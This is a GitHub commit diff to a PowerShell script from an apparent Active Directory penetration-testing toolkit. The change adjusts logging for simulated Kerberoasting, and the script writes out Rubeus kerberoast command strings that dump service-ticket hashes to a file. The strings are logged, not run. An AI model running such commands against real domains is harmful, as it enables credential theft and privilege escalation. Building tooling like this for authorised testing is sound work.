Skip to content

Commit f9ed713

Browse files
committed
better logging
1 parent 41e4ed1 commit f9ed713

1 file changed

Lines changed: 1 addition & 4 deletions

File tree

Azure Active Directory/MSADPT/MSADPT_exploit_privesc_initial.ps1

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -252,7 +252,6 @@ if ($KerberoastInputFiles.Count -gt 0) {
252252
# or a custom implementation of Kerberos protocol.
253253

254254
if (1){ #Prompt-User -PromptText "Simulating Kerberoast ticket request for ${SAM}. Do you want to try an actual request (requires Rubeus.exe or similar)? (N will just log the target)") {
255-
Write-MSADPTLog -Message "Simulated Kerberoast ticket request for ${SAM} on ${DC}. Actual command would be: Rubeus.exe kerberoast /user:${SAM} /domain:${DC.Split('.')[0]} /dc:${DC} /outfile:kerberoast_hashes.txt" -Level 'WARNING'
256255
$KerberoastedHashes += [PSCustomObject]@{
257256
Timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
258257
AccountSam = $SAM
@@ -261,10 +260,8 @@ if ($KerberoastInputFiles.Count -gt 0) {
261260
HashType = "Kerberoast (TGS-REQ)"
262261
Status = "Simulated Request / Ready for Rubeus"
263262
MitreAttackID = "T1558.003"
264-
#RawCommand = "Rubeus.exe kerberoast /user:$SAM /domain:$DC.Split('.')[0] /dc:$DC /outfile:kerberoast_hashes.txt"
265-
RawCommand = "Rubeus.exe kerberoast /user:$SAM /domain:$($DC.Split('.')[0]) /dc:$DC /outfile:kerberoast_hashes.txt"
263+
RawCommand = "Rubeus.exe kerberoast /user:$SAM /domain:foo.bar /dc:$DC /outfile:kerberoast_hashes.txt"
266264
}
267-
#Write-MSADPTLog -Message " [POTENTIAL] Kerberoastable account: ${SAM} (${SPN}) on ${DC}. Requires external tool to exploit." -Level 'WARNING'
268265
Write-MSADPTLog -Message " [POTENTIAL] Kerberoastable account ${SAM} on ${DC}. Actual command would be: Rubeus.exe kerberoast /user:${SAM} /domain:$($DC.Split('.')[0]) /dc:${DC} /outfile:kerberoast_hashes.txt" -Level 'WARNING'
269266
} else {
270267
Write-MSADPTLog -Message " Skipped actual Kerberoast ticket request for ${SAM}."

0 commit comments

Comments
 (0)